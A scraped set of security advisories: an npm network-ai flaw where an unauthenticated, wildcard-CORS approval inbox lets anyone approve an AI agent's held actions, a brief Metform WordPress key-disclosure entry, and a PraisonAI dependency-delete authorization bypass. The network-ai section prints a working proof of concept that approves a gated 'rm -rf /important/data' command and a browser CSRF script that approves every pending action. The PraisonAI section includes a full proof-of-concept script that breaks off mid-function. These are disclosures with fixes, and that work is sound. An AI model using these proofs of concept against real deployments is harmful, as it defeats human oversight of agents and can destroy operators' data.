  • Documentation this finding is measured against: SECURITY.md (Approval Inbox listed under "Security Measures"; Approval Gate = human-in-the-loop for "writes, shell commands, budget spend"), THREAT_MODEL.md §3.1 ("Unauthenticated Network Caller" adversary + its mitigations), README.md / ENTERPRISE.md ("web-accessible approval queue"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.
  • Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → "Report a vulnerability"), per SECURITY.md.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

ApprovalInbox now accepts a secret option. When set, the mutating endpoints POST /:id/approve and POST /:id/deny require an Authorization: Bearer <secret> header, validated in constant time with crypto.timingSafeEqual. startServer() already binds to 127.0.0.1 by default; operators exposing the inbox on a network must set a secret.

All 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`network-ai`\u0027s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature \u2014 *\"a web-accessible approval queue with REST API \u2026 and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port \u2014 a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** \u2014 can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) \u2014 the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai \u003c= 5.11.0` (current latest), `lib/approval-inbox.ts` \u2014 `httpHandler()` / `routeRequest()` / `startServer()`. `ApprovalInbox` is public API (exported from `index.ts:1126`).\n- **CWE:** [CWE-862](https://cwe.mitre.org/data/definitions/862.html) (Missing Authorization) + [CWE-352](https://cwe.mitre.org/data/definitions/352.html) (Cross-Site Request Forgery, via wildcard CORS).\n- **CVSS v3.1 (proposed):**\n  - Drive-by CSRF against the default `127.0.0.1` deployment: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` = **5.9 Medium**.\n  - Direct request when the operator binds a non-loopback address (or local/SSRF reach): `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` = **8.1 High**.\n\n## Details\n\n### No authentication on the request pipeline (`lib/approval-inbox.ts`)\n\n`httpHandler()` sets a wildcard CORS policy and routes every request straight to `routeRequest()` with **no auth check**:\n\n```js\n// lib/approval-inbox.ts:250-275\nhttpHandler() {\n  return (req, res) =\u003e {\n    ...\n    res.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);          // 256  \u003c-- wildcard CORS\n    res.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027);\n    res.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027);\n    if (req.method === \u0027OPTIONS\u0027) { res.writeHead(204); res.end(); return; }   // preflight OK for any origin\n    ...\n    this.routeRequest(req, res, subPath, url);                  // 273  \u003c-- no token / secret / origin gate\n  };\n}\n```\n\n`routeRequest()` exposes list + approve/deny with no credential check (default `pathPrefix` = `/approvals`):\n\n```js\n// lib/approval-inbox.ts:369-405\nrouteRequest(req, res, subPath, url) {\n  if (subPath === \u0027/\u0027 \u0026\u0026 req.method === \u0027GET\u0027) {                       // GET /approvals/  -\u003e enumerate pending ids\n    this.sendJson(res, 200, this.list(status)); return;\n  }\n  ...\n  const approveMatch = subPath.match(/^\\/([a-f0-9]+)\\/approve$/);      // POST /approvals/:id/approve\n  if (approveMatch \u0026\u0026 req.method === \u0027POST\u0027) {\n    this.readBody(req).then((body) =\u003e {\n      const approvedBy = typeof body.approvedBy === \u0027string\u0027 ? body.approvedBy : \u0027anonymous\u0027;  // defaults to \u0027anonymous\u0027\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -\u003e action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n// lib/approval-inbox.ts:172-183 / 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, \u0027approved\u0027, { approved: true, approvedBy, reason });  // promise -\u003e {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n// lib/approval-inbox.ts:281-286\nstartServer(port, hostname = \u0027127.0.0.1\u0027) {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded \u2014 an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: \u2026POST\u2026`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `\u0027anonymous\u0027`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.\n\n```bash\nmkdir na-poc \u0026\u0026 cd na-poc \u0026\u0026 npm init -y \u003e/dev/null \u0026\u0026 npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) =\u003e new Promise((resolve, reject) =\u003e {        // plain client \u2014 NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) =\u003e { let b = \"\"; res.on(\"data\", c =\u003e b += c); res.on(\"end\", () =\u003e { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          // the documented \"web-accessible approval queue\"\nawait new Promise(r =\u003e setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf /important/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d =\u003e (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"/approvals/?status=pending\");   // attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `/approvals/${id}/approve`, { approvedBy: \"attacker\" });  // and approves one\nconsole.log(\"[attacker] GET /approvals/  (no auth) -\u003e\", list.status, \"ids:\", list.json.map(e =\u003e e.id));\nconsole.log(\"[attacker] POST /approvals/\" + id + \"/approve (no auth) -\u003e\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\"\u003e\u003e\u003e gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved \u0026\u0026 resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET /approvals/  (no auth) -\u003e 200 ids: [ \u002707d6f277efe35ac1\u0027 ]\n[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -\u003e 200 approved\n\u003e\u003e\u003e gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` \u2014 the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n\u003cscript\u003e\nfetch(\u0027http://127.0.0.1:PORT/approvals/?status=pending\u0027)      // ACAO:* -\u003e readable\n  .then(r =\u003e r.json())\n  .then(list =\u003e list.forEach(e =\u003e\n    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {\n      method: \u0027POST\u0027, headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n      body: JSON.stringify({ approvedBy: \u0027attacker\u0027 })          // preflight passes via ACAO:*\n    })));\n\u003c/script\u003e\n```\n\n## Impact\n\nThe Approval Gate is the package\u0027s human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend \u2014 SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action \u2192 the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET /approvals`, `/stats`) \u2192 disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions \u2192 suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox \u2014 which is the inbox\u0027s documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy \u0026 documentation (in scope; not intended/documented behavior)\n\nThis finding does not contradict any documented design choice \u2014 it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" \u2014 *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)\"* \u2014 and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project\u0027s own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` \u00a73.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server \u2014 but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent \u2014 the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model\u0027s Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don\u0027t apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated \u2014 the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth / restrict CORS\" is not available \u2014 there is no hook to do so. And \"it\u0027s opt-in / operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium\u2013High \u2014 but it is squarely the same class, on the same kind of surface, that the project\u0027s threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes \u2014 mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html)\n- Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation \u2014 fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` \u00a73.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` / `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding/Network-AI \u2192 Security \u2192 \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer \u003csecret\u003e` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.",
  "id": "GHSA-mxjx-28vx-xjjj",
  "modified": "2026-06-19T21:42:32Z",
  "published": "2026-06-19T21:42:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: ApprovalInbox HTTP server has no authentication \u2014 anyone can approve pending agent actions "
}

GHSA-MXM7-JFGP-4J4V

Vulnerability from github – Published: 2022-05-11 00:01 – Updated: 2022-05-19 00:00
VLAI
Details

The Metform WordPress plugin is vulnerable to sensitive information disclosure due to improper access control in the ~/core/forms/action.php file which can be exploited by an unauthenticated attacker to view all API keys and secrets of integrated third-party APIs like that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more, in versions up to and including 2.1.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Metform WordPress plugin is vulnerable to sensitive information disclosure due to improper access control in the ~/core/forms/action.php file which can be exploited by an unauthenticated attacker to view all API keys and secrets of integrated third-party APIs like that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more, in versions up to and including 2.1.3.",
  "id": "GHSA-mxm7-jfgp-4j4v",
  "modified": "2022-05-19T00:00:32Z",
  "published": "2022-05-11T00:01:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1442"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/04a46249-b5b2-4082-b520-cdc4a1370bb1?source=cve"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1442"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXMX-RH57-JX58

Vulnerability from github – Published: 2026-10-07 14:28 – Updated: 2026-10-07 14:28
VLAI
Summary
PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues
Details

Platform members can delete owner issue dependencies through member-owned related issues

Summary

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

Technical Details

The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/dependencies.py defines DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. The route first verifies that the URL issue_id is in the workspace, loads the dependency by dep_id, and accepts the dependency when either dep.issue_id == issue_id or dep.depends_on_issue_id == issue_id. It then calls require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id) for the URL issue only.

src/praisonai-platform/praisonai_platform/api/deps.py implements require_delete_permission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resource_owner_id == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.

The same route family also lets any workspace member create dependency edges on owner-created issues with only require_workspace_member. POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issue_id, body.depends_on_issue_id, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.

The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.

Essential excerpt:

dep_resp = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
    headers=owner_headers,
)
dep_id = dep_resp.json()["id"]

member_delete_owner_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

member_delete_member_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

owner_list_after_member_delete = await client.get(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    headers=owner_headers,
)

The full PoV script is included in the appendix below as pov_platform_dependency_delete_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true
}

The key vulnerable sequence is member_delete_owner_issue_endpoint == 403, followed by member_delete_member_issue_endpoint == 204 for the same dependency id, followed by owner_dependency_count_after_member_delete == 0.

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json

Decisive latest-PyPI output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.
praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.

Impact

An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blocked_by, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.

Suggested Fix

Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issue_id issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.

For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.

Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.

Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.

GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.

Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.

References

  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_delete_owner_issue_endpoint": 204
"member_delete_member_issue_endpoint": 404
"member_delete_owner_only_dependency": 204
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 404
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.6 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.8 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

Appendix B - Full PoV Script

Save this as pov_platform_dependency_delete_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform issue-dependency delete authorization."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(
            f"register failed for {email}: {response.status_code} {response.text}"
        )
    body = response.json()
    return body["token"], body["user"]["id"]


async def _create_issue(
    client: Any,
    workspace_id: str,
    headers: dict[str, str],
    title: str,
) -> str:
    response = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/",
        json={"title": title, "priority": "high"},
        headers=headers,
    )
    response.raise_for_status()
    return response.json()["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
